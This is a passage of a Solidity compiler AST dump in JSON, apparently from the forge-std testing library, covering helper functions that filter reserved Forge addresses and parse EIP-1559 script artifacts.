Vm"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}],"id":4330,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11873:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4329,"name":"address","nodeType":"ElementaryTypeName","src":"11873:7:3","typeDescriptions":{}}},"id":4332,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11873:11:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11865:19:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4334,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4322,"src":"11888:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":4335,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11896:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"src":"11888:50:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11865:73:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4338,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4322,"src":"11958:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"307834653539623434383437623337393537383538383932306341373846624632366330423439353643","id":4339,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11966:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4e59b44847b379578588920cA78FbF26c0B4956C"},"src":"11958:50:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11865:143:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4325,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11842:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4327,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11845:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11842:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11842:176:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4343,"nodeType":"ExpressionStatement","src":"11842:176:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotForgeAddress","nameLocation":"11720:21:3","parameters":{"id":4323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4322,"mutability":"mutable","name":"addr","nameLocation":"11750:4:3","nodeType":"VariableDeclaration","scope":4345,"src":"11742:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4321,"name":"address","nodeType":"ElementaryTypeName","src":"11742:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11741:14:3"},"returnParameters":{"id":4324,"nodeType":"ParameterList","parameters":[],"src":"11778:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4437,"nodeType":"FunctionDefinition","src":"12031:843:3","nodes":[],"body":{"id":4436,"nodeType":"Block","src":"12183:691:3","nodes":[],"statements":[{"assignments":[4354],"declarations":[{"constant":false,"id":4354,"mutability":"mutable","name":"data","nameLocation":"12207:4:3","nodeType":"VariableDeclaration","scope":4436,"src":"12193:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4353,"name":"string","nodeType":"ElementaryTypeName","src":"12193:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4359,"initialValue":{"arguments":[{"id":4357,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4347,"src":"12226:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4355,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"12214:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4356,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12217:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"12214:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12214:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"12193:38:3"},{"assignments":[4361],"declarations":[{"constant":false,"id":4361,"mutability":"mutable","name":"parsedData","nameLocation":"12254:10:3","nodeType":"VariableDeclaration","scope":4436,"src":"12241:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4360,"name":"bytes","nodeType":"ElementaryTypeName","src":"12241:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4366,"initialValue":{"arguments":[{"id":4364,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4354,"src":"12280:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4362,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"12267:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4363,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12270:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13073,"src":"12267:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure external returns (bytes memory)"}},"id":4365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12267:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"12241:44:3"},{"assignments":[4369],"declarations":[{"constant":false,"id":4369,"mutability":"mutable","name":"rawArtifact","nameLocation":"12327:11:3","nodeType":"VariableDeclaration","scope":4436,"src":"12295:43:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact"},"typeName":{"id":4368,"nodeType":"UserDefinedTypeName","pathNode":{"id":4367,"name":"RawEIP1559ScriptArtifact","nameLocations":["12295:24:3"],"nodeType":"IdentifierPath","referencedDeclaration":3741,"src":"12295:24:3"},"referencedDeclaration":3741,"src":"12295:24:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact"}},"visibility":"internal"}],"id":4376,"initialValue":{"arguments":[{"id":4372,"name":"parsedData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4361,"src":"12352:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":4373,"name":"RawEIP1559ScriptArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3741,"src":"12365:24:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawEIP1559ScriptArtifact storage pointer)"}}],"id":4374,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"12364:26:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawEIP1559ScriptArtifact storage pointer)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawEIP1559ScriptArtifact storage pointer)"}],"expression":{"id":4370,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12341:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4371,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12345:6:3","memberName":"decode","nodeType":"MemberAccess","src":"12341:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12341:50:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"nodeType":"VariableDeclarationStatement","src":"12295:96:3"},{"assignments":[4379],"declarations":[{"constant":false,"id":4379,"mutability":"mutable","name":"artifact","nameLocation":"12430:8:3","nodeType":"VariableDeclaration","scope":4436,"src":"12401:37:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"},"typeName":{"id":4378,"nodeType":"UserDefinedTypeName","pathNode":{"id":4377,"name":"EIP1559ScriptArtifact","nameLocations":["12401:21:3"],"nodeType":"IdentifierPath","referencedDeclaration":3718,"src":"12401:21:3"},"referencedDeclaration":3718,"src":"12401:21:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_storage_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"}},"visibility":"internal"}],"id":4380,"nodeType":"VariableDeclarationStatement","src":"12401:37:3"},{"expression":{"id":4386,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4381,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12448:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4383,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12457:9:3","memberName":"libraries","nodeType":"MemberAccess","referencedDeclaration":3698,"src":"12448:18:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4384,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12469:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4385,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12481:9:3","memberName":"libraries","nodeType":"MemberAccess","referencedDeclaration":3721,"src":"12469:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"src":"12448:42:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":4387,"nodeType":"ExpressionStatement","src":"12448:42:3"},{"expression":{"id":4393,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4388,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12500:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4390,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12509:4:3","memberName":"path","nodeType":"MemberAccess","referencedDeclaration":3700,"src":"12500:13:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4391,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12516:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4392,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12528:4:3","memberName":"path","nodeType":"MemberAccess","referencedDeclaration":3723,"src":"12516:16:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"12500:32:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4394,"nodeType":"ExpressionStatement","src":"12500:32:3"},{"expression":{"id":4400,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4395,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12542:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4397,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12551:9:3","memberName":"timestamp","nodeType":"MemberAccess","referencedDeclaration":3709,"src":"12542:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4398,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12563:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4399,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12575:9:3","memberName":"timestamp","nodeType":"MemberAccess","referencedDeclaration":3736,"src":"12563:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12542:42:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4401,"nodeType":"ExpressionStatement","src":"12542:42:3"},{"expression":{"id":4407,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4402,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12594:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4404,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12603:7:3","memberName":"pending","nodeType":"MemberAccess","referencedDeclaration":3703,"src":"12594:16:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4405,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12613:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4406,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12625:7:3","memberName":"pending","nodeType":"MemberAccess","referencedDeclaration":3726,"src":"12613:19:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"src":"12594:38:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":4408,"nodeType":"ExpressionStatement","src":"12594:38:3"},{"expression":{"id":4414,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4409,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12642:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4411,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12651:9:3","memberName":"txReturns","nodeType":"MemberAccess","referencedDeclaration":3717,"src":"12642:18:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.TxReturn memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4412,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12663:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4413,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12675:9:3","memberName":"txReturns","nodeType":"MemberAccess","referencedDeclaration":3734,"src":"12663:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.TxReturn memory[] memory"}},"src":"12642:42:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.TxReturn memory[] memory"}},"id":4415,"nodeType":"ExpressionStatement","src":"12642:42:3"},{"expression":{"id":4423,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4416,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12694:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4418,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12703:8:3","memberName":"receipts","nodeType":"MemberAccess","referencedDeclaration":3707,"src":"12694:17:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4420,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12737:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4421,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12749:8:3","memberName":"receipts","nodeType":"MemberAccess","referencedDeclaration":3730,"src":"12737:20:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}],"id":4419,"name":"rawToConvertedReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4869,"src":"12714:22:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory[] memory) pure returns (struct StdCheatsSafe.Receipt memory[] memory)"}},"id":4422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12714:44:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"src":"12694:64:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"id":4424,"nodeType":"ExpressionStatement","src":"12694:64:3"},{"expression":{"id":4432,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4425,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12768:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4427,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12777:12:3","memberName":"transactions","nodeType":"MemberAccess","referencedDeclaration":3713,"src":"12768:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4429,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12817:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4430,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12829:12:3","memberName":"transactions","nodeType":"MemberAccess","referencedDeclaration":3740,"src":"12817:24:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}],"id":4428,"name":"rawToConvertedEIPTx1559s","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4486,"src":"12792:24:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory[] memory) pure returns (struct StdCheatsSafe.Tx1559 memory[] memory)"}},"id":4431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12792:50:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"src":"12768:74:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"id":4433,"nodeType":"ExpressionStatement","src":"12768:74:3"},{"expression":{"id":4434,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12859:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"functionReturnParameters":4352,"id":4435,"nodeType":"Return","src":"12852:15:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readEIP1559ScriptArtifact","nameLocation":"12040:25:3","parameters":{"id":4348,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4347,"mutability":"mutable","name":"path","nameLocation":"12080:4:3","nodeType":"VariableDeclaration","scope":4437,"src":"12066:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4346,"name":"string","nodeType":"ElementaryTypeName","src":"12066:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12065:20:3"},"returnParameters":{"id":4352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4351,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4437,"src":"12149:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"},"typeName":{"id":4350,"nodeType":"UserDefinedTypeName","pathNode":{"id":4349,"name":"EIP1559ScriptArtifact","nameLocations":["12149:21:3"],"nodeType":"IdentifierPath","referencedDeclaration":3718,"src":"12149:21:3"},"referencedDeclaration":3718,"src":"12149:21:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_storage_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"}},"visibility":"internal"}],"src":"12148:30:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4486,"nodeType":"FunctionDefinition","src":"12880:312:3","nodes":[],"body":{"id":4485,"nodeType":"Block","src":"12989:203:3","nodes":[],"statements":[{"assignments":[4452],"declarations":[{"constant":false,"id":4452,"mutability":"mutable","name":"txs","nameLocation":"13015:3:3","nodeType":"VariableDeclaration","scope":4485,"src":"12999:19:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":4450,"nodeType":"UserDefinedTypeName","pathNode":{"id":4449,"name":"Tx1559","nameLocations":["12999:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"12999:6:3"},"referencedDeclaration":3562,"src":"12999:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4451,"nodeType":"ArrayTypeName","src":"12999:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"}],"id":4460,"initialValue":{"arguments":[{"expression":{"id":4457,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4441,"src":"13034:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] 